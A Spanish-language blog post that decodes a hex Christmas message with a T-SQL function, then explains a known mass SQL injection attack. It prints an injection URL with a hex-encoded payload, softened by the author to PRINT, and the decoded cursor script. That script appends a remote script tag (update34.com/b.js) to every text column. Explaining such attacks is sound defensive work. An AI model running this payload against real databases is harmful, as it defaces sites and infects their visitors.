Estaba actualizándome con los post de Geeks.ms leyendo desde mi lector RSS, y di con el regalo para Rodrigo Corral:
Dada una cadena hexadecimal un mensaje de felicidades (mm habría que ver o es un listado de receta de comida para fin de año je!)
La cadena:
%46%65%6C%69%63%65%73%20%46%69%65%73%74%61%73%2C%20%63%61%63%68%6F%20%66%72%69%6B%69%21%20%41%68%6F%72%61%2C%20%64%65%6A%61%74%65%20%64%65%20%74%6F%6E%74%65%72%69%61%73%20%79%20%76%65%74%65%20%61%20%65%6D%62%6F%72%72%61%63%68%61%72%74%65%20%75%6E%20%70%6F%71%75%69%6E%21%21%20%4B%65%65%70%20%52%6F%63%6B%69%6E%27%21%21
S bien esto es muy friki (al igual que el titulo de este post) como bien lo dice el mismo, recordé un post anterior post anterior:
Donde gracias a este tipo de cadenas un atacante puede utilizar SQLInjection, así que veremos como es la idea… con esto de jugar en hexadecimal
Decifrando el mensaje navideño…
Rodrigo nos invita a descifrarlo… asi que utilizo una función del SQL SERVER o sea con TS-SQL
Para ejecutar la función:
SELECT CONVERT(VARCHAR,dbo.[HexaToString]('%46%65%6C%69%63%65%73%20%46%69%65%73' +
'%74%61%73%2C%20%63%61%63%68%6F%20%66' +
'%72%69%6B%69%21%20%41%68%6F%72%61%2C' +
'%20%64%65%6A%61%74%65%20%64%65%20%74' +
'%6F%6E%74%65%72%69%61%73%20%79%20%76' +
'%65%74%65%20%61%20%65%6D%62%6F%72%72' +
'%61%63%68%61%72%74%65%20%75%6E%20%70' +
'%6F%71%75%69%6E%21%21%20%4B%65%65%70' +
'%20%52%6F%63%6B%69%6E%27%21%21'))
También hice unas modificaciones para que funcione de esta forma
SELECT CONVERT(VARCHAR,dbo.[HexaToString]('46656C6963657320466965737461732C20636163686F206672696B69212041686F72612C2064656A61746520646520746F6E74657269617320792076657465206120656D626F72726163686172746520756E20706F7175696E2121204B65657020526F636B696E272121'))
Aquí esta el script de función que nos da el resultado de pasar lo que estaba en hexadecimal a algo entendible :)
CREATE FUNCTION [dbo].[HexaToString](
@cadenaHexadecimal varchar(max)
)RETURNS varbinary(max)
AS
BEGIN
DECLARE @itemHexa AS varchar(2)
DECLARE @posicion AS int
DECLARE @contador AS int
DECLARE @resultado AS varbinary(max)
DECLARE @caracteres AS int
SET @contador = LEN(@cadenaHexadecimal)
SET @resultado = CAST('' AS varbinary(1))
SET @caracteres = 0
IF ((SELECT CHARINDEX('%', @cadenaHexadecimal)) > 0)
SET @caracteres = 1
IF SUBSTRING(@cadenaHexadecimal, 1, 2) = '0x'
SET @posicion = 3 + @caracteres
ELSE
SET @posicion = 1 + @caracteres
WHILE (@posicion <= @contador)
BEGIN
SET @itemHexa = substring(@cadenaHexadecimal, @posicion, 2)
SET @resultado = @resultado +
CAST(CASE WHEN SUBSTRING(@itemHexa, 1, 1) like '[0-9]'
THEN CAST(SUBSTRING(@itemHexa, 1, 1) as int)
ELSE CAST(ASCII(UPPER(SUBSTRING(@itemHexa, 1, 1)))-55 AS int)
END * 16 +
CASE WHEN SUBSTRING(@itemHexa, 2, 1) like '[0-9]'
THEN CAST(SUBSTRING(@itemHexa, 2, 1) as int)
ELSE CAST(ASCII(UPPER(SUBSTRING(@itemHexa, 2, 1)))-55 AS int)
END AS BINARY(1))
SET @posicion = @posicion + 2 + @caracteres
END
RETURN @resultado
END
Yo ataco, tu atacas, el ataca…?
Bueno como decía hace un par de meses algunos eran de este estilo…
http://www.midominio.com/pagina.aspx?algunid=666;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C4152452040542056415243
48415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F52205345
4C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69
643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220622E78747970653D3335204F5220622E78
747970653D323331204F5220622E78747970653D31363729204F50454E205461626C655F437572736F72204645544348204E4558542046524F4D20
5461626C655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302920424547494E204558454328
27555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B
272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E75706461746533342E636F6D2F622E6A733E3C2F73637269
70743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F53452054
61626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));PRINT(@S);--
Aquí la ultima parte en el script es:
En vez de:
(gracias a Pablo Hawkes que se percato que “por las dudas” coloque lo menos intrusivo posible el script je)
El resultado de esto es:
DECLARE @T VARCHAR(255), @C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT
a.name,b.name
FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u'
AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET
['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.update34.com/b.js></script>''')
FETCH NEXT FROM Table_Cursor
INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Mas info en el articulo de Gustavo
Y como estamos con esto de SQLInjection, dejo unos articulo en Geeks.ms (con buenos enlaces)
Mas enlaces